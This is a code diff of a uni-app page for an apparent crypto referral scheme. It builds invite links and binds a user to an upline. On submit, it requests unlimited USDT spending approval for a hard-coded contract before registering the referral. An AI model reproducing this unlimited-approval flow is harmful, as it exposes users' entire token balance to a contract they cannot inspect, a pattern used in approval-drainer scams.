|
|
@ -42,8 +42,9 @@ |
|
|
|
<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image> |
|
|
|
<text class="text-primary f36">{{ i18n.link }}</text> |
|
|
|
</view> |
|
|
|
<view class="m48 text-primary" style="word-break: break-all;"> |
|
|
|
https://ippswap.com/community?inviteCode={{form.address}} |
|
|
|
<view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)"> |
|
|
|
<!-- https://ippswap.com/community?inviteCode={{form.supAddress}} --> |
|
|
|
{{url}} |
|
|
|
</view> |
|
|
|
</view> |
|
|
|
|
|
|
@ -57,15 +58,16 @@ |
|
|
|
import { |
|
|
|
web3x |
|
|
|
} from "@/utils/web3x/web3x.js" |
|
|
|
|
|
|
|
const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186' |
|
|
|
|
|
|
|
|
|
|
|
const ipptAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186' |
|
|
|
|
|
|
|
export default { |
|
|
|
components: { |
|
|
|
GeneralButton, |
|
|
|
}, |
|
|
|
data() { |
|
|
|
return { |
|
|
|
url: '', |
|
|
|
form: { |
|
|
|
address: '', |
|
|
|
contract: '0x6b175474e89094c44da98b954eedeac495271d0f', |
|
|
@ -85,8 +87,11 @@ |
|
|
|
|
|
|
|
}, |
|
|
|
onLoad(val) { |
|
|
|
if (val) { |
|
|
|
this.url = location.origin + '?inviteCode='; |
|
|
|
if (val.inviteCode) { |
|
|
|
this.form.supAddress = val.inviteCode |
|
|
|
} else { |
|
|
|
this.form.supAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186' |
|
|
|
} |
|
|
|
this.init() |
|
|
|
}, |
|
|
@ -96,12 +101,25 @@ |
|
|
|
// 必须要在onReady生命周期,因为onLoad生命周期组件可能尚未创建完毕 |
|
|
|
onReady() {}, |
|
|
|
methods: { |
|
|
|
// 点击复制按钮 |
|
|
|
onCopy(v) { |
|
|
|
uni.setClipboardData({ |
|
|
|
data: v, |
|
|
|
success: () => { |
|
|
|
uni.showToast({ |
|
|
|
title: 'success', |
|
|
|
icon: 'none', |
|
|
|
}) |
|
|
|
} |
|
|
|
}) |
|
|
|
}, |
|
|
|
init() { |
|
|
|
web3x.connectViaInPage() |
|
|
|
.then(res => { |
|
|
|
this.form.address = web3x.selectedAddress |
|
|
|
// 当前钱包地址 |
|
|
|
console.log("当前钱包地址", web3x.selectedAddress); |
|
|
|
// console.log("当前钱包地址", web3x.selectedAddress); |
|
|
|
this.url = location.origin + '?inviteCode=' + web3x.selectedAddress |
|
|
|
}) |
|
|
|
}, |
|
|
|
submit() { |
|
|
@ -116,46 +134,60 @@ |
|
|
|
mask: true |
|
|
|
}) |
|
|
|
// 当前钱包地址 |
|
|
|
console.log("当前钱包地址", web3x.selectedAddress); |
|
|
|
// 检查 USDT 授权给 IPPT 的数量 |
|
|
|
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress) |
|
|
|
|
|
|
|
// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT |
|
|
|
if (allowance > Number(1000000) * 10 ** Number(18)) { |
|
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) |
|
|
|
uni.hideLoading() |
|
|
|
} else { |
|
|
|
// 否则则需要重新授权为 0, 然后在进行极限授权 |
|
|
|
// 提示最小需授权 XXX USDT, 请取消授权后重新授权 |
|
|
|
|
|
|
|
// 取消授权 |
|
|
|
web3x.usdt.$approve(ipptAddress, 0) |
|
|
|
.on("receipt", () => { |
|
|
|
console.log("取消授权完成") |
|
|
|
// 然后在进行极限授权 |
|
|
|
web3x.usdt.approveMAX(ipptAddress) |
|
|
|
.on("transactionHash", () => { |
|
|
|
console.log("调用极限授权") |
|
|
|
|
|
|
|
// 调用IPPT 合约绑定上级关系 |
|
|
|
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 |
|
|
|
// web3x.selectedAddress: 当前钱包地址 |
|
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) |
|
|
|
uni.hideLoading() |
|
|
|
}) |
|
|
|
}) |
|
|
|
} |
|
|
|
|
|
|
|
// console.log("当前钱包地址", web3x.selectedAddress); |
|
|
|
// 检查 USDT 授权给 IPPT 的数量 |
|
|
|
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress) |
|
|
|
// console.log(allowance, '当前用户授权给ippt的数量') |
|
|
|
// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT |
|
|
|
if (allowance > Number(1000000) * 10 ** Number(18)) { |
|
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) |
|
|
|
uni.hideLoading() |
|
|
|
} else { |
|
|
|
// 否则则需要重新授权为 0, 然后在进行极限授权 |
|
|
|
// 提示最小需授权 XXX USDT, 请取消授权后重新授权 |
|
|
|
// 取消授权 |
|
|
|
if (allowance == 0) { |
|
|
|
// 然后在进行极限授权 |
|
|
|
web3x.usdt.approveMAX(ipptAddress) |
|
|
|
.on("transactionHash", () => { |
|
|
|
// console.log("调用极限授权") |
|
|
|
// 调用IPPT 合约绑定上级关系 |
|
|
|
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 |
|
|
|
// web3x.selectedAddress: 当前钱包地址 |
|
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x |
|
|
|
.selectedAddress) |
|
|
|
uni.hideLoading() |
|
|
|
}) |
|
|
|
} else { |
|
|
|
web3x.usdt.$approve(ipptAddress, 0) |
|
|
|
.on("receipt", () => { |
|
|
|
// console.log("取消授权完成") |
|
|
|
// 然后在进行极限授权 |
|
|
|
web3x.usdt.approveMAX(ipptAddress) |
|
|
|
.on("transactionHash", () => { |
|
|
|
// console.log("调用极限授权") |
|
|
|
// 调用IPPT 合约绑定上级关系 |
|
|
|
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 |
|
|
|
// web3x.selectedAddress: 当前钱包地址 |
|
|
|
web3x.ippt.$creatCode(this.form.supAddress, web3x |
|
|
|
.selectedAddress) |
|
|
|
uni.hideLoading() |
|
|
|
}) |
|
|
|
}) |
|
|
|
} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
// 授权当前钱包的 USDT 给 IPPT (参数为 IPPT 合约地址) |
|
|
|
// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186") |
|
|
|
// .on("transactionHash", async (receipt) => { |
|
|
|
// console.log("transactionHash", receipt) |
|
|
|
// // 调用IPPT 合约绑定上级关系 |
|
|
|
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 |
|
|
|
// // web3x.selectedAddress: 当前钱包地址 |
|
|
|
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) |
|
|
|
// uni.hideLoading() |
|
|
|
// }) |
|
|
|
// .on("transactionHash", async (receipt) => { |
|
|
|
// console.log("transactionHash", receipt) |
|
|
|
// // 调用IPPT 合约绑定上级关系 |
|
|
|
// // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址 |
|
|
|
// // web3x.selectedAddress: 当前钱包地址 |
|
|
|
// await web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) |
|
|
|
// uni.hideLoading() |
|
|
|
// }) |
|
|
|
}) |
|
|
|
}, |
|
|
|
go(val) { |
|
|
|